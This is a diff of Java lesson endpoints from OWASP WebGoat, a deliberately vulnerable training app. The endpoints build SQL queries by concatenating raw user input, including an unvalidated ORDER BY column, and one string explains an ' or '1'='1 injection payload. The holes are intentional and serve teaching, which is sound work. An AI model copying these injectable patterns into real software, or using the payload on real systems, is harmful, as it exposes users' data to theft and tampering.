details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import static java.sql.ResultSet.CONCUR_READ_ONLY; +import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = {"SqlStringInjectionHint4-1", "SqlStringInjectionHint4-2", "SqlStringInjectionHint4-3"}) +public class SqlInjectionLesson4 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson4(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack4") + @ResponseBody + public AttackResult completed(@RequestParam String query) { + return injectableQuery(query); + } + + protected AttackResult injectableQuery(String query) { + try (Connection connection = dataSource.getConnection()) { + try (Statement statement = + connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) { + statement.executeUpdate(query); + connection.commit(); + ResultSet results = statement.executeQuery("SELECT phone from employees;"); + StringBuilder output = new StringBuilder(); + // user completes lesson if column phone exists + if (results.first()) { + output.append(""); + return success(this).output(output.toString()).build(); + } else { + return failed(this).output(output.toString()).build(); + } + } catch (SQLException sqle) { + return failed(this).output(sqle.getMessage()).build(); + } + } catch (Exception e) { + return failed(this).output(this.getClass().getName() + " : " + e.getMessage()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5.java new file mode 100644 index 000000000..32db401fa --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5.java @@ -0,0 +1,108 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import javax.annotation.PostConstruct; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint5-1", + "SqlStringInjectionHint5-2", + "SqlStringInjectionHint5-3", + "SqlStringInjectionHint5-4" + }) +public class SqlInjectionLesson5 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson5(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostConstruct + public void createUser() { + // HSQLDB does not support CREATE USER with IF NOT EXISTS so we need to do it in code (using + // DROP first will throw error if user does not exists) + try (Connection connection = dataSource.getConnection()) { + try (var statement = + connection.prepareStatement("CREATE USER unauthorized_user PASSWORD test")) { + statement.execute(); + } + } catch (Exception e) { + // user already exists continue + } + } + + @PostMapping("/SqlInjection/attack5") + @ResponseBody + public AttackResult completed(String query) { + createUser(); + return injectableQuery(query); + } + + protected AttackResult injectableQuery(String query) { + try (Connection connection = dataSource.getConnection()) { + try (Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) { + statement.executeQuery(query); + if (checkSolution(connection)) { + return success(this).build(); + } + return failed(this).output("Your query was: " + query).build(); + } + } catch (Exception e) { + return failed(this) + .output( + this.getClass().getName() + " : " + e.getMessage() + "
Your query was: " + query) + .build(); + } + } + + private boolean checkSolution(Connection connection) { + try { + var stmt = + connection.prepareStatement( + "SELECT * FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES WHERE TABLE_NAME = ? AND GRANTEE =" + + " ?"); + stmt.setString(1, "GRANT_RIGHTS"); + stmt.setString(2, "UNAUTHORIZED_USER"); + var resultSet = stmt.executeQuery(); + return resultSet.next(); + } catch (SQLException throwables) { + return false; + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5a.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5a.java new file mode 100644 index 000000000..59a29ff10 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5a.java @@ -0,0 +1,136 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import java.sql.*; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints(value = {"SqlStringInjectionHint5a1"}) +public class SqlInjectionLesson5a extends AssignmentEndpoint { + + private static final String EXPLANATION = + "
Explanation: This injection works, because or '1' =" + + " '1' always evaluates to true (The string ending literal for '1 is closed by" + + " the query itself, so you should not inject it). So the injected query basically looks" + + " like this: SELECT * FROM user_data WHERE" + + " first_name = 'John' and last_name = '' or TRUE, which will always evaluate to" + + " true, no matter what came before it."; + private final LessonDataSource dataSource; + + public SqlInjectionLesson5a(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/assignment5a") + @ResponseBody + public AttackResult completed( + @RequestParam String account, @RequestParam String operator, @RequestParam String injection) { + return injectableQuery(account + " " + operator + " " + injection); + } + + protected AttackResult injectableQuery(String accountName) { + String query = ""; + try (Connection connection = dataSource.getConnection()) { + query = + "SELECT * FROM user_data WHERE first_name = 'John' and last_name = '" + accountName + "'"; + try (Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) { + ResultSet results = statement.executeQuery(query); + + if ((results != null) && (results.first())) { + ResultSetMetaData resultsMetaData = results.getMetaData(); + StringBuilder output = new StringBuilder(); + + output.append(writeTable(results, resultsMetaData)); + results.last(); + + // If they get back more than one user they succeeded + if (results.getRow() >= 6) { + return success(this) + .feedback("sql-injection.5a.success") + .output("Your query was: " + query + EXPLANATION) + .feedbackArgs(output.toString()) + .build(); + } else { + return failed(this).output(output.toString() + "
Your query was: " + query).build(); + } + } else { + return failed(this) + .feedback("sql-injection.5a.no.results") + .output("Your query was: " + query) + .build(); + } + } catch (SQLException sqle) { + return failed(this).output(sqle.getMessage() + "
Your query was: " + query).build(); + } + } catch (Exception e) { + return failed(this) + .output( + this.getClass().getName() + " : " + e.getMessage() + "
Your query was: " + query) + .build(); + } + } + + public static String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) + throws SQLException { + int numColumns = resultsMetaData.getColumnCount(); + results.beforeFirst(); + StringBuilder t = new StringBuilder(); + t.append("

"); + + if (results.next()) { + for (int i = 1; i < (numColumns + 1); i++) { + t.append(resultsMetaData.getColumnName(i)); + t.append(", "); + } + + t.append("
"); + results.beforeFirst(); + + while (results.next()) { + + for (int i = 1; i < (numColumns + 1); i++) { + t.append(results.getString(i)); + t.append(", "); + } + + t.append("
"); + } + + } else { + t.append("Query Successful; however no data was returned from this query."); + } + + t.append("

"); + return (t.toString()); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5b.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5b.java new file mode 100644 index 000000000..20225384f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5b.java @@ -0,0 +1,135 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import java.io.IOException; +import java.sql.*; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint5b1", + "SqlStringInjectionHint5b2", + "SqlStringInjectionHint5b3", + "SqlStringInjectionHint5b4" + }) +public class SqlInjectionLesson5b extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson5b(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/assignment5b") + @ResponseBody + public AttackResult completed( + @RequestParam String userid, @RequestParam String login_count, HttpServletRequest request) + throws IOException { + return injectableQuery(login_count, userid); + } + + protected AttackResult injectableQuery(String login_count, String accountName) { + String queryString = "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName; + try (Connection connection = dataSource.getConnection()) { + PreparedStatement query = + connection.prepareStatement( + queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + + int count = 0; + try { + count = Integer.parseInt(login_count); + } catch (Exception e) { + return failed(this) + .output( + "Could not parse: " + + login_count + + " to a number" + + "
Your query was: " + + queryString.replace("?", login_count)) + .build(); + } + + query.setInt(1, count); + // String query = "SELECT * FROM user_data WHERE Login_Count = " + login_count + " and userid + // = " + accountName, ; + try { + ResultSet results = query.executeQuery(); + + if ((results != null) && (results.first() == true)) { + ResultSetMetaData resultsMetaData = results.getMetaData(); + StringBuilder output = new StringBuilder(); + + output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData)); + results.last(); + + // If they get back more than one user they succeeded + if (results.getRow() >= 6) { + return success(this) + .feedback("sql-injection.5b.success") + .output("Your query was: " + queryString.replace("?", login_count)) + .feedbackArgs(output.toString()) + .build(); + } else { + return failed(this) + .output( + output.toString() + + "
Your query was: " + + queryString.replace("?", login_count)) + .build(); + } + + } else { + return failed(this) + .feedback("sql-injection.5b.no.results") + .output("Your query was: " + queryString.replace("?", login_count)) + .build(); + } + } catch (SQLException sqle) { + + return failed(this) + .output( + sqle.getMessage() + "
Your query was: " + queryString.replace("?", login_count)) + .build(); + } + } catch (Exception e) { + return failed(this) + .output( + this.getClass().getName() + + " : " + + e.getMessage() + + "
Your query was: " + + queryString.replace("?", login_count)) + .build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson8.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson8.java new file mode 100644 index 000000000..ae7fbb9f4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson8.java @@ -0,0 +1,163 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import static java.sql.ResultSet.CONCUR_UPDATABLE; +import static java.sql.ResultSet.TYPE_SCROLL_SENSITIVE; + +import java.sql.*; +import java.text.SimpleDateFormat; +import java.util.Calendar; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint.8.1", + "SqlStringInjectionHint.8.2", + "SqlStringInjectionHint.8.3", + "SqlStringInjectionHint.8.4", + "SqlStringInjectionHint.8.5" + }) +public class SqlInjectionLesson8 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson8(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack8") + @ResponseBody + public AttackResult completed(@RequestParam String name, @RequestParam String auth_tan) { + return injectableQueryConfidentiality(name, auth_tan); + } + + protected AttackResult injectableQueryConfidentiality(String name, String auth_tan) { + StringBuilder output = new StringBuilder(); + String query = + "SELECT * FROM employees WHERE last_name = '" + + name + + "' AND auth_tan = '" + + auth_tan + + "'"; + + try (Connection connection = dataSource.getConnection()) { + try { + Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE); + log(connection, query); + ResultSet results = statement.executeQuery(query); + + if (results.getStatement() != null) { + if (results.first()) { + output.append(generateTable(results)); + results.last(); + + if (results.getRow() > 1) { + // more than one record, the user succeeded + return success(this) + .feedback("sql-injection.8.success") + .output(output.toString()) + .build(); + } else { + // only one record + return failed(this).feedback("sql-injection.8.one").output(output.toString()).build(); + } + + } else { + // no results + return failed(this).feedback("sql-injection.8.no.results").build(); + } + } else { + return failed(this).build(); + } + } catch (SQLException e) { + return failed(this) + .output("
") + .build(); + } + + } catch (Exception e) { + return failed(this) + .output("
") + .build(); + } + } + + public static String generateTable(ResultSet results) throws SQLException { + ResultSetMetaData resultsMetaData = results.getMetaData(); + int numColumns = resultsMetaData.getColumnCount(); + results.beforeFirst(); + StringBuilder table = new StringBuilder(); + table.append(""); + + if (results.next()) { + table.append(""); + for (int i = 1; i < (numColumns + 1); i++) { + table.append(""); + } + table.append(""); + + results.beforeFirst(); + while (results.next()) { + table.append(""); + for (int i = 1; i < (numColumns + 1); i++) { + table.append(""); + } + table.append(""); + } + + } else { + table.append("Query Successful; however no data was returned from this query."); + } + + table.append("
" + resultsMetaData.getColumnName(i) + "
" + results.getString(i) + "
"); + return (table.toString()); + } + + public static void log(Connection connection, String action) { + action = action.replace('\'', '"'); + Calendar cal = Calendar.getInstance(); + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String time = sdf.format(cal.getTime()); + + String logQuery = + "INSERT INTO access_log (time, action) VALUES ('" + time + "', '" + action + "')"; + + try { + Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE); + statement.executeUpdate(logQuery); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson9.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson9.java new file mode 100644 index 000000000..3df08175a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson9.java @@ -0,0 +1,128 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import static org.hsqldb.jdbc.JDBCResultSet.CONCUR_UPDATABLE; +import static org.hsqldb.jdbc.JDBCResultSet.TYPE_SCROLL_SENSITIVE; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint.9.1", + "SqlStringInjectionHint.9.2", + "SqlStringInjectionHint.9.3", + "SqlStringInjectionHint.9.4", + "SqlStringInjectionHint.9.5" + }) +public class SqlInjectionLesson9 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson9(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack9") + @ResponseBody + public AttackResult completed(@RequestParam String name, @RequestParam String auth_tan) { + return injectableQueryIntegrity(name, auth_tan); + } + + protected AttackResult injectableQueryIntegrity(String name, String auth_tan) { + StringBuilder output = new StringBuilder(); + String query = + "SELECT * FROM employees WHERE last_name = '" + + name + + "' AND auth_tan = '" + + auth_tan + + "'"; + try (Connection connection = dataSource.getConnection()) { + try { + Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE); + SqlInjectionLesson8.log(connection, query); + ResultSet results = statement.executeQuery(query); + var test = results.getRow() != 0; + if (results.getStatement() != null) { + if (results.first()) { + output.append(SqlInjectionLesson8.generateTable(results)); + } else { + // no results + return failed(this).feedback("sql-injection.8.no.results").build(); + } + } + } catch (SQLException e) { + System.err.println(e.getMessage()); + return failed(this) + .output("
") + .build(); + } + + return checkSalaryRanking(connection, output); + + } catch (Exception e) { + System.err.println(e.getMessage()); + return failed(this) + .output("
") + .build(); + } + } + + private AttackResult checkSalaryRanking(Connection connection, StringBuilder output) { + try { + String query = "SELECT * FROM employees ORDER BY salary DESC"; + try (Statement statement = + connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE); ) { + ResultSet results = statement.executeQuery(query); + + results.first(); + // user completes lesson if John Smith is the first in the list + if ((results.getString(2).equals("John")) && (results.getString(3).equals("Smith"))) { + output.append(SqlInjectionLesson8.generateTable(results)); + return success(this) + .feedback("sql-injection.9.success") + .output(output.toString()) + .build(); + } else { + return failed(this).feedback("sql-injection.9.one").output(output.toString()).build(); + } + } + } catch (SQLException e) { + return failed(this) + .output("
") + .build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/Servers.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/Servers.java new file mode 100644 index 000000000..083e57061 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/Servers.java @@ -0,0 +1,93 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.mitigation; + +import java.util.ArrayList; +import java.util.List; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.LessonDataSource; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 6/13/17. + */ +@RestController +@RequestMapping("SqlInjectionMitigations/servers") +@Slf4j +public class Servers { + + private final LessonDataSource dataSource; + + @AllArgsConstructor + @Getter + private class Server { + + private String id; + private String hostname; + private String ip; + private String mac; + private String status; + private String description; + } + + public Servers(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @GetMapping(produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public List sort(@RequestParam String column) throws Exception { + List servers = new ArrayList<>(); + + try (var connection = dataSource.getConnection()) { + try (var statement = + connection.prepareStatement( + "select id, hostname, ip, mac, status, description from SERVERS where status <> 'out" + + " of order' order by " + + column)) { + try (var rs = statement.executeQuery()) { + while (rs.next()) { + Server server = + new Server( + rs.getString(1), + rs.getString(2), + rs.getString(3), + rs.getString(4), + rs.getString(5), + rs.getString(6)); + servers.add(server); + } + } + } + } + return servers; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10a.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10a.java new file mode 100644 index 000000000..fbe551427 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10a.java @@ -0,0 +1,70 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.mitigation; + +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@Slf4j +@AssignmentHints( + value = {"SqlStringInjectionHint-mitigation-10a-1", "SqlStringInjectionHint-mitigation-10a-2"}) +public class SqlInjectionLesson10a extends AssignmentEndpoint { + + private String[] results = { + "getConnection", "PreparedStatement", "prepareStatement", "?", "?", "setString", "setString" + }; + + @PostMapping("/SqlInjectionMitigations/attack10a") + @ResponseBody + public AttackResult completed( + @RequestParam String field1, + @RequestParam String field2, + @RequestParam String field3, + @RequestParam String field4, + @RequestParam String field5, + @RequestParam String field6, + @RequestParam String field7) { + String[] userInput = {field1, field2, field3, field4, field5, field6, field7}; + int position = 0; + boolean completed = false; + for (String input : userInput) { + if (input.toLowerCase().contains(this.results[position].toLowerCase())) { + completed = true; + } else { + return failed(this).build(); + } + position++; + } + if (completed) { + return success(this).build(); + } + return failed(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10b.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10b.java new file mode 100644 index 000000000..325d376bb --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10b.java @@ -0,0 +1,154 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.mitigation; + +import java.io.IOException; +import java.net.URI; +import java.util.Arrays; +import java.util.List; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import javax.tools.Diagnostic; +import javax.tools.DiagnosticCollector; +import javax.tools.JavaCompiler; +import javax.tools.JavaFileObject; +import javax.tools.SimpleJavaFileObject; +import javax.tools.StandardJavaFileManager; +import javax.tools.ToolProvider; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint-mitigation-10b-1", + "SqlStringInjectionHint-mitigation-10b-2", + "SqlStringInjectionHint-mitigation-10b-3", + "SqlStringInjectionHint-mitigation-10b-4", + "SqlStringInjectionHint-mitigation-10b-5" + }) +public class SqlInjectionLesson10b extends AssignmentEndpoint { + + @PostMapping("/SqlInjectionMitigations/attack10b") + @ResponseBody + public AttackResult completed(@RequestParam String editor) { + try { + if (editor.isEmpty()) return failed(this).feedback("sql-injection.10b.no-code").build(); + + editor = editor.replaceAll("\\<.*?>", ""); + + String regexSetsUpConnection = "(?=.*getConnection.*)"; + String regexUsesPreparedStatement = "(?=.*PreparedStatement.*)"; + String regexUsesPlaceholder = "(?=.*\\=\\?.*|.*\\=\\s\\?.*)"; + String 